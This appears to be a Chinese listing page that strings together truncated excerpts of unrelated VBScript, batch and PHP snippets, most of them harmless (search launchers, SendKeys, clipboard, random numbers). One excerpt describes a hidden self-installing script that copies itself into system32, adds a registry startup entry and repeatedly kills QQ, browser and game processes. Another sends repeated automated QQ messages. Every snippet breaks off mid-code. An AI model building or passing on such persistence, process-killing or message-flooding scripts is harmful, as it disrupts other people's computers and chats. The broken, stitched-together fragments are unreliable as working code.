运行它直接选择： 1.我要回答;2.歌曲搜索;3,新闻搜索;4.网页搜索;5.贴吧搜索;6.知道搜索;7.图片搜索;8.视频搜索;9;百科搜索; 然后输入需要搜索的内容即可直接自动打开转到指定网址自动进行搜索． 复制代码 代码如下: xz=InputBox('1.我要回答;2.歌曲搜索;3,新闻搜索;' 5.贴吧搜索;6.知道搜索;' 8.视频搜索;9;百科搜索;','百

复制代码 代码如下: Dim WshShell Set WshShell = CreateObject('Wscript.Shell') 下面的每一行都是一个不错的命令，请说出运行下列每个语句的效果。不要一次运行全部，逐个看效果。 ''打开IE ''WshShell.SendKeys Chr(&H88AC) ''系统静音 ''WshShell.SendKeys Chr(&H88AD) ''WshShell.SendKeys Chr(&H88AE) ''WshShell.Sen

复制代码 代码如下: dim Z(10),i for i=0 to 10 Z(I)=GetRnd(i-1) WScript.Echo (Z(i)) NEXT Function GetRnd(n) Dim i,X Randomize X=CInt(10*Rnd() ) For i=0 To n If X=Z(i) Then X=GetRnd(n) Exit For End If Next GetRnd=X End Function

在测试目录写了一个简单的referer.php，代码如下 复制代码 代码如下: ?php if (!isset($_SERVER['HTTP_REFERER'])) echo 'No Referer'; else echo $_SERVER['HTTP_REFERER']; ? 如果直接点击上面的链接，那么页面会显示referer页面的链接。 复制代码 代码如下: Set http = CreateObject('msxml2.xmlhttp') http.open 'GE

Constants VK_LBUTTON (0x01) Left mouse button VK_RBUTTON (0x02) Right mouse button VK_CANCEL (0x03) Control-break processing VK_MBUTTON (0x04) Middle mouse button (three-button mouse) VK_XBUTTON1 (0x05) Windows 2000/XP : X1 mouse button VK_XBUT

运行后会在%windir%\system32\目录下生成jk.vbs， 并且自动添加注册表启动项，另外在D:\会生成一个隐藏属性的JK.VBS， 3秒间隔监控进程，如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。 复制代码 代码如下: @echo off attrib -s -h -a -r d:\jk.bat 1nul 2nul if exist d:\jk.bat del d:\

复制代码 代码如下: Set IE = CreateObject('InternetExplorer.Application') IE.Navigate('about:blank') Set clipboard = IE.document.parentWindow.clipboardData ''SetData设置剪切板的内容 clipboard.SetData 'text', '忘记了，喜欢一个人的感觉' ''GetData获取剪切板的内容 WScript.Echo clipboard.Get

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs= 复制代码 代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject('wscript.shell') for i=1 to 10 wscript.sleep 700 wsh.AppActivate('与 xx 聊天中